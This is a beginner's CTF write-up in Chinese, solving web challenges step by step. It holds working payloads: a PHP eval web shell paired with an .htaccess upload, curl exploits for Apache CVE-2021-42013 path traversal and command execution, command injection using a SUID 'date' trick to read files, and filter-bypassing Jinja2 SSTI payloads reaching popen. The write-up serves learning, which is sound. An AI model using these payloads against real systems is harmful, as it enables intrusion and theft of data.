Give me your photo PLZ
一个简单的文件上传题目
先上传shell.jpg文件,该文件中的内容为
<?php
eval($_POST['shell']);
?>
然后上传.htaccess文件,其文件内容为
SetHandler application/x-httpd-php
AddType applicaton/x-httpd-php .jpg
其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错
检查一下是否上传成功
上传成功,然后搜索disable_functions看一下那个函数可以利用,发现system函数没有被禁用,那么就直接拿来利用就可以了。或者直接使用蚁剑进行连接也行。
那么直接搜索flag就行了
补充:关于文件上传的路径,可以先F12打开控制台,点击网络,然后上传正常的文件查看文件路径
Unsafe Apache
说实话我也是菜鸟,这个题目我也是第一次看到,然后到处找类似的题目,但是也没有找到。最后突然想到这个题目的名字不就是提示吗。然后F12打开控制台,查看apache版本
得到apache版本那么直接去网上找相应的漏洞,以及利用方式。
这已经很明显了。Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013),然后看利用方式就可以了,至于原理我也不是很懂。原理大家可以去搜索看,我这里直接贴命令
curl -v --path-as-is http://node4.buuoj.cn:27410/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
可见,成功读取到/etc/passwd
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
curl -v --data "echo;ls /" 'http://node4.buuoj.cn:27410/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
最后就是读取ffffllllaaagggg_cc084c485d这个文件了
curl -v --data "echo;cat /ffffllllaaagggg_cc084c485d" 'http://node4.buuoj.cn:27410/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
得到flag。
So Baby RCE Again
说实话,这个题目我也是边查边写的,刚学ctf一个多月,接触的题目太少了,菜鸟一个。
题目标题是RCE命令执行,打开题目链接发现shell_exec,虽然没讲过,但大概也能猜出来就是执行命令的函数,那直接就去网上查CTF中有没有类似的题目使用了这个命令。没想到直接查出来了,然后就是看大佬们是怎么利用的,这里我借鉴了末初大佬的文章
这里我们使用输出重定向将查询的结果输出到指定的文件中。
?cmd=`ls > 1.txt`
没有任何过滤条件,那就好操作了,直接查看根目录的文件,发现ffll444aaggg文件
做到这里,我都没想到竟然这么容易吗?果然没想到使用cat读取的时候没有读出来
一片空白,然后当时就懵了,然后想的是我是不是没有权限,然后使用ls -al查看一下,果然只有root才可以读取该文件
然后就傻了,什么鬼呀,就在想这个题目这么难的吗,还要提权,没办法继续搜索提权的知识,然后发现可以利用具有suid权限的命令读取文件,我也不记得我看了哪一篇文章,反正就是先利用find / -perm -u=s -type f 2>/dev/null命令查看具有suid权限的命令,然后发现date命令具有suid权限
然后利用date -f /ffll444aaggg命令以类似报错的方式将文件中的内容读取出来,我现在也不记得我这个命令是在哪里看到的,然后现在搜索一下发现找不到了。。。大家可以去找找看。我记得是在末初的一篇文章中看到的。
-f, --file=日期文件 类似 --date;使用给定<日期文件>,一次处理一行
然后我在Linux操作系统下创建了一个文件,在里面添加了一些数据,发现使用date -f命令可以以报错的方式将里面的内容全部弄出来。大家可以自行尝试一下。
注意:这里就不能使用输出重定向了,要使用错误重定向 2>,这个我当初没有注意到,然后以为这个命令不能使用,搞了很久才反应过来
?cmd=`date -f /ffll444aaggg 2> 1.txt`
BabySSTI_Three
看题目PythonSSTI模板注入,又是一个不熟悉的知识点,知道这个但是没有仔细看过,没办法百度吧,正好前几周有类似的SSTI题目,结合看。边学边做,感觉类似于sql注入,都有固定的格式,因为之前一直在sqli-labs学习注入。所以感觉差不多,可能这个题目简单吧,都是利用一个东西只是加了过滤条件。
先看一下是什么模板的SSTI,这里在网上找了一张图(网上讲SSTI都是这张图,这里我就不贴引用链接了,我也不知道到底这个图是哪个大佬搞出来的)
那么,开始判断
Jinja2
然后就是继续找资料了。我看到上几周都是这个模板的就直接看上几周那些大佬的wp了。然后过滤的东西就直接去网上找绕过方式,这里我直接贴payload吧
原:?name={{[]['__class__']['__base__']['__subclasses__']}} # 返回子类的列表 [,,,...]
改:?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()}}
这里直接使用大佬查询危险函数的脚本,这是大佬链接链接: 脚本链接
import time
ktime = time.time()
def ssti():
a = input("输入完整的字符串:")
global aa
aa = a.split(",")
print("-----------------已经处理好了,可以进行查询了-----------------")
j = chaxuen()
def chaxuen():
global line
try:
c = input("输入要查询的字符串:")
for i, line in enumerate(aa):
if c in line:
print("\n该字符串的位置为: " + str(i), line, '\n--------------查询成功-------------')
if "" in line:
print("\n没有查询到该字符串\n")
except Exception as e:
print(e)
if __name__ == "__main__":
d = 0
while d == 0:
print("<<< 是否开始查询 请输入 yes/no >>>")
user = input(': ')
while (user != 'yes' and user != 'no'):
print("输入错误!请重新输入:")
user = input(":")
if user == "yes":
e = ssti()
if user == "no":
print("欢迎下次光临")
break
wtime = time.time()
ss = repr(wtime - ktime)[0:6]
print("本次使用时间:" + str(ss) + "秒")
?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('ls').read()}}
由于我也是边学边写的,有一些原理我也不是很懂,所以没办法给大家详细的解释
使用unicode编码进行绕过,给大家推荐一个Unicode在线编码网站链接: Unicode在线编码
这里我们将ls /进行编码
ls / --> \u006c\u0073\u0020\u002f
?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u006c\u0073
成功读出目录
然后将cat /flag_in_h3r3_52daad 进行编码,读出这个文件的内容
?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}
得到flag。
Final round
第五题没写出来,大佬说是盲注,但是我没有找到下手点。
总结
怎么说呢,我感觉这个比赛很好,但是我就写了第一周和第二周和第五周的题目,中间几周没写是因为一些自己的原因,没有坚持下来,唉真的后悔呀。感觉这些题目的知识点对于我这个菜鸟来说非常不错,而且有些题目给了参考链接,但是我没有沉下心来仔细学习那些知识点。最后一周刚开始就写出了文件上传的题目,后面的题目也是边查边写的,不能说这些知识点我都学会了,但是对于这些东西有了一些基础的了解。总体来说还是很不错的,希望这种比赛能多搞几次。本来第五周的wp都不想写的,但是由于一些原因又下定决心写了出来。真的越学到后面越觉的我没见过的东西太多了,一个一个新的东西,让我不断的想放弃,但是我还是要坚持下来,加油,我一定能够坚持下来。
参考链接
https://blog.youkuaiyun.com/solitudi/article/details/107752717
https://blog.youkuaiyun.com/miuzzx/article/details/110220425
https://mochu.blog.youkuaiyun.com/article/details/127152796?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-2-127152796-blog-127259821.pc_relevant_3mothn_strategy_and_data_recovery&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-2-127152796-blog-127259821.pc_relevant_3mothn_strategy_and_data_recovery&utm_relevant_index=3
https://blog.youkuaiyun.com/m0_64815693/article/details/127219551
https://blog.youkuaiyun.com/m0_64815693/article/details/127307656